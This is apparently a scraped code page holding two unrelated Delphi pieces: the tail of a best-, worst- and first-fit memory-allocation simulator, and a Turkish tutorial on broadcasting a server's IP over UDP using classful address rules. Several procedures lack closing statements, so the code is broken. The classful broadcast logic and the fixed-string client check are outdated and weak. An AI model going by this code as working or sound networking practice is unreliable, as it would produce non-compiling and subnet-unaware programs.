showmessage('Not Enough Memory For Worst FIt Algorithim..!');

pwnum := pwnum - strtoint(edit7.Text);

goto wson;

end;

wson:

end;

//////////

procedure Tform1.first_fit_prepare;

var

k,x,scnt,i,first,last: integer;

//temp,temp1,j,w

pos : array [1..30,1..2]of integer;

begin

for i:=1 to 30 do

begin

pos[i,1]:=0;

pos[i,2]:=0;

end;

scnt :=0;

first:=0;

last:=0;

for i:=1 to 30 do

begin

if t[i].Caption = '' then

begin

scnt := scnt + 1;

pos[i-scnt+1,1]:= i-scnt+1;

pos[i-scnt+1,2]:=scnt;

end

else

scnt:=0;

end;

x:=1;

for k:= x to 30 do

begin

if (pos[k,2] >= strtoint(edit7.Text)) then

begin

first := pos[k,1];

last := first + strtoint(edit7.Text)-1;

break;

end;

cntf := cntf+1;

sheight:=0;

stop:= stop -((strtoint(edit7.text)*14));

sheight := sheight+((strtoint(edit7.text)*14));

first_fit(cntf,first,last,stop,sheight);

end;

procedure TForm1.first_fit(p:integer;first:integer;last:integer;stop:integer;sheight:integer);

var i: integer;

label fson;

begin

for i:= first to last do

begin

if (i>0)then

begin

t[i].Caption :='P'+inttostr(p);

t[i].color := clnavy;

t[i].Font.Color := clwhite;

end;

if(i<=0)then

begin

showmessage('Not Enough Memory For First Fit Algorithim..!');

pfnum := pfnum - strtoint(edit7.Text);

goto fson;

end;

fson:

end;

procedure TForm1.fixed_variable( size: integer; loc: integer; p: integer );

var i : integer;

begin

for i:=1 to size do

begin

x[loc+i].Color := clgray;

x[loc+i].Caption := 'P'+ inttostr(p);

end;

procedure TForm1.FormCreate(Sender: TObject);

var i,xtop,ytop,ztop,ttop : integer;

begin

delpcnt:=0;

pnum := 0;

pwnum:= 0;

pfnum:=0;

sleft:= 232;

stop:= 431;

swidth:= 113;

scnt:=0;

cnt:=0;

cntw:=0;

cntf:=0;

xtop:= 456;

ytop:= 456;

ztop:= 456;

ttop:= 456;

for i:= 1 to 30 do

begin

///////////////////for fixed variable object/////////////////

x[i]:= TPanel.Create(self);

x[i].Parent:= self;

x[i].left:= 16;

x[i].Top:= xtop;

x[i].Width := 97;

x[i].Height := 15;

x[i].BevelInner := bvLowered;

x[i].Color := clwhite;

xtop:= xtop-14;

///////////////////for variable object/////////////////

y[i]:= TPanel.Create(self);

y[i].Parent:= self;

y[i].left:= 240;

y[i].Top:= ytop;

y[i].Width := 97;

y[i].Height := 15;

y[i].BevelInner := bvLowered;

y[i].Color := clwhite;

ytop:= ytop-14;

///////////////////////////////////////////////////////

z[i]:= TPanel.Create(self);

z[i].Parent:= self;

z[i].left:= 456;

z[i].Top:= ztop;

z[i].Width := 97;

z[i].Height := 15;

z[i].BevelInner := bvLowered;

z[i].Color := clwhite;

ztop:= ztop-14;

///////////////////////////////////////////////////////

t[i]:= TPanel.Create(self);

t[i].Parent:= self;

t[i].left:= 672;

t[i].Top:= ttop;

t[i].Width := 97;

t[i].Height := 15;

t[i].BevelInner := bvLowered;

t[i].Color := clwhite;

ttop:= ttop-14;

///

end;

procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);

begin

if (ord (key) = 13) and (strtoint(edit1.Text) <=5)then

begin

fixed_variable(strtoint(edit1.text),0,1);

shape6.Pen.Color := clred;

edit2.SetFocus ;

end;

procedure TForm1.Edit2KeyPress(Sender: TObject; var Key: Char);

begin

if (ord (key) = 13) and (strtoint(edit2.Text) <=5)then

begin

fixed_variable(strtoint(edit2.text),5,2);

shape5.Pen.Color := clred;

edit3.Setfocus;

end;

procedure TForm1.Edit3KeyPress(Sender: TObject; var Key: Char);

begin

if (ord (key) = 13) and (strtoint(edit3.Text) <=5)then

begin

fixed_variable(strtoint(edit3.text),10,3);

shape4.Pen.Color := clred;

edit4.setfocus;

end;

procedure TForm1.Edit4KeyPress(Sender: TObject; var Key: Char);

begin

if (ord (key) = 13) and (strtoint(edit4.Text) <=5)then

begin

fixed_variable(strtoint(edit4.text),15,4);

shape3.Pen.Color := clred;

edit5.setfocus;

end;

procedure TForm1.Edit5KeyPress(Sender: TObject; var Key: Char);

begin

if (ord (key) = 13) and (strtoint(edit5.Text) <=5)then

begin

fixed_variable(strtoint(edit5.text),20,5);

shape2.Pen.Color := clred;

edit6.setfocus;

end;

procedure TForm1.Edit6KeyPress(Sender: TObject; var Key: Char);

begin

if (ord (key) = 13) and (strtoint(edit6.Text) <=5)then

begin

fixed_variable(strtoint(edit6.text),25,6);

shape1.Pen.Color := clred;

end;

procedure TForm1.Button2Click(Sender: TObject);

var i : integer;

begin

edit1.Clear;

edit2.Clear;

edit3.Clear;

edit4.Clear;

edit5.Clear;

edit6.Clear;

edit1.SetFocus;

shape1.Pen.Color := clblack;

shape2.Pen.Color := clblack;

shape3.Pen.Color := clblack;

shape4.Pen.Color := clblack;

shape5.Pen.Color := clblack;

shape6.Pen.Color := clblack;

for i := 1 to 30 do

begin

x[i].Color := clwhite;

x[i].Caption :='';

end;

procedure TForm1.Button1Click(Sender: TObject);

var xq:integer;

label bson,wson,fson;

begin

pnum := pnum + strtoint(edit7.Text);

if pnum > 30 then

begin

showmessage('Not Enough Memory For Best Fit Algorithim..!');

pnum := pnum - strtoint(edit7.Text); goto bson;

end

else

begin

best_fit_prepare;

bson:

end;

pwnum := pwnum + strtoint(edit7.Text);

if pwnum > 30 then

begin

showmessage('Not Enough Memory For Worst FIt Algorithim..!');

pwnum := pwnum - strtoint(edit7.Text);goto wson;

end

else

begin

worst_fit_prepare;

wson:

end;

pfnum := pfnum + strtoint(edit7.Text);

if pfnum > 30 then

begin

showmessage('Not Enough Memory For First Fit Algorithim..!');

pfnum := pfnum - strtoint(edit7.Text);goto fson;

end

else

begin

first_fit_prepare;

end;

fson:

end;

procedure TForm1.Button3Click(Sender: TObject);

var

i: integer;

begin

for i:=1 to 30 do

begin

if y[i].Caption = maskedit1.text then

begin

y[i].Caption := '';

y[i].Color := clwhite;

delpcnt:= delpcnt+1;

pnum:= pnum-1;

end;

if z[i].Caption = maskedit1.text then

begin

z[i].Caption := '';

z[i].Color := clwhite;

delpcnt:= delpcnt+1;

pwnum:= pwnum-1;

end;

if t[i].Caption = maskedit1.text then

begin

t[i].Caption := '';

t[i].Color := clwhite;

delpcnt:= delpcnt+1;

pfnum:= pfnum-1;

end;

end.

Delphi - .....................................

AĞ programları yapanlar için Broadcast ip bulma yani client bilgisayarın ana bilgisayara otomatik ol

MAMURBEY@HOTMAIL.COM ( çekinmeden yardım talep edebilirsiniz)

SERVER PROGRAM İÇİN----------------------------------------------------------------------------------------------------------

{}

uses kısmına winsock ekleyin

formunuza fastnet tabının altında yer alan nmudp componentini ekleyin

nmudp componentini formunuza koyduktan sonra object inspector'a gelin

local port'a 0 yazın remoteport'a 4000 yazın. ardından

formunuza 2 adet edit kutusu 1 tane serversocket (internet tabının altında yer alır) 2 tane button 1 tane de timer koyun.

client bilgisayarların ne zaman açık ne zaman kapalı olduğunu bilemediğimiz için her 8 - 10 veya 15 saniyede bir server görevini üstlenen programın ağa bağlı tüm bilgisayarlara kendi Ip adresini broadcast (yayımlama anlamına gelir) etmesi gerekir. bunun için timer1' in intervalini 8000 -10000- veya 15000 yapın. bunu yaptığınızda Client bilgisayar açıldığı vakit Broadcast ettiğiniz Ip adresini alacak. böylelikle anamakinenin Ip adresini öğrenmiş olacak ve Clientsocket vasıtasıyla ana makineyle bağlantı sağlayacak.

{}

BROADCAST IP BULMA FORMÜLÜ: bu formül button1 içinde verilmiştir.

diyelimki Anamakinenin Ip adresi 192.168.1.15

192 =1.basamak

168 =2.basamak

1 =3.basamak

15 =4.basamak

Eğer anamakinenin Ip adresinin 1.basamağı;

0 - 127 arası ise bu ağın broadcast ip'si = 1.basamak + 255 + 255 + 255

(örneğin Ip adresiniz 10.0.0.8 ise broadcast Ip= 10.255.255.255)

(örneğin Ip adresiniz 75.77.13.88 ise broadcast Ip= 75.255.255.255)

128 - 191 arası ise bu ağın broadcast ip'si = 1.basamak + 2.basamak + 255 + 255

(örneğin Ip adresiniz 154.72.7.9 ise broadcast Ip= 154.72.255.255)

(örneğin Ip adresiniz 188.42.42.54 ise broadcast Ip= 188.42.255.255)

192 - 223 arası ise bu ağın broadcast ip'si = 1.basamak + 2.basamak + 3.basamak + 255

(örneğin Ip adresiniz 192.168.1.42 ise broadcast Ip= 192.168.1.255)

(örneğin Ip adresiniz 199.155.130.88 ise broadcast Ip= 199.155.130.255)

formunuza koyduğunuz nmudp; ağınızın broadcast Ip sini kullanarak tüm clientlere ana makinenin Ip adresini bildirir. bu sayede clientler ana makinenin Ip adresini öğrenir ve cilentsocket vasıtasıyla ana makineye bağlanır.

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs,winsock, ScktComp, NMUDP, StdCtrls, ExtCtrls;

type

TForm1 = class(TForm)

NMUDP1: TNMUDP;

ServerSocket1: TServerSocket;

Timer1: TTimer;

Button1: TButton;

Button2: TButton;

Edit1: TEdit;

Edit2: TEdit;

procedure FormCreate(Sender: TObject);

procedure Timer1Timer(Sender: TObject);

procedure Button1Click(Sender: TObject);

procedure Button2Click(Sender: TObject);

private

procedure WMQueryEndSession(var Msg : TWMQueryEndSession); message WM_QueryEndSession;

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.WMQueryEndSession(var Msg : TWMQueryEndSession);

begin

form1.NMUDP1.RemotePort:=0;

form1.NMUDP1.Free;

Msg.Result := 1;

Serversocket1.Active:=false;

application.Terminate;

end;

function DetectHostIP(var IP: string): Boolean;

var

wsdata : TWSAData;

hostName : array [0..255] of char;

hostEnt : PHostEnt;

addr : PChar;

begin

WSAStartup ($0101, wsdata);

try

gethostname (hostName, sizeof (hostName));

hostEnt := gethostbyname (hostName);

if Assigned (hostEnt) then

if Assigned (hostEnt^.h_addr_list) then begin

addr := hostEnt^.h_addr_list^;

if Assigned (addr) then begin

IP := Format ('%d.%d.%d.%d', [byte (addr [0]),

byte (addr [1]), byte (addr [2]), byte (addr [3])]);

Result := True;

end

else

Result := False;

end

else

Result := False

else begin

Result := False;

end;

finally

WSACleanup;

end

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

serversocket1.port:=1024;

serversocket1.Active:=true;

end;

procedure TForm1.Timer1Timer(Sender: TObject);

begin

timer1.Interval:=8000;

button1.Click;

end;

procedure TForm1.Button1Click(Sender: TObject);

var

eze,eze1,eze2:shortint;

haldun:integer;

Ipadres,mehmet,ahmet1,ahmet2:string;

begin

if (DetectHostIP(IPAdres)=true) then begin

Edit1.text:=IPAdres;

mehmet:=IPAdres;

eze:=pos('.',mehmet);

if (eze<>0)then begin

delete(mehmet,eze,(edit1.gettextlen-(eze-1)));

haldun:=strtoint(mehmet);

{ahmet1}

ahmet1:=Edit1.text;

delete(ahmet1,1,(length(mehmet)+1));

eze1:=pos('.',ahmet1);

delete(ahmet1,eze1,(edit1.gettextlen-(eze1-1)));

{ahmet1}

{ahmet2}

ahmet2:=Edit1.text;

delete(ahmet2,1,(eze+eze1));

eze2:=pos('.',ahmet2);

delete(ahmet2,eze2,(edit1.gettextlen-(eze2-1)));

{ahmet2}

if ((haldun>=0) and (haldun<=127)) then begin

edit2.Text:=mehmet+'.255.255.255';

end;

if ((haldun>=128) and (haldun<=191)) then begin

edit2.Text:=mehmet+'.'+ahmet1+'.'+'255.255';

end;

if ((haldun>=192) and (haldun<=223)) then begin

edit2.Text:=mehmet+'.'+ahmet1+'.'+ahmet2+'.255';

end;

mehmet:='';

ahmet1:='';

ahmet2:='';

eze:=0;

eze1:=0;

eze2:=0;

button2.Click;

end;

procedure TForm1.Button2Click(Sender: TObject);

var

buf: Array [0..100] of Char;

begin

NMUDP1.ReportLevel := Status_Basic;

NMUDP1.RemoteHost := edit2.Text;

NMUDP1.RemotePort := 4000; //serversocket ile aynı değeri vermeyin 2 side farklı portları dinlesin yönetsin

buf := 'aaabbbccc987677'; //clientlere göndereceğiniz kelime sadece size ait karışık bir kelime olsun böylelikle client bilgisayarların başka programların komutlarını almasını engellemiş olursunuz

NMUDP1.SendBuffer(buf,length(buf));

end;

end.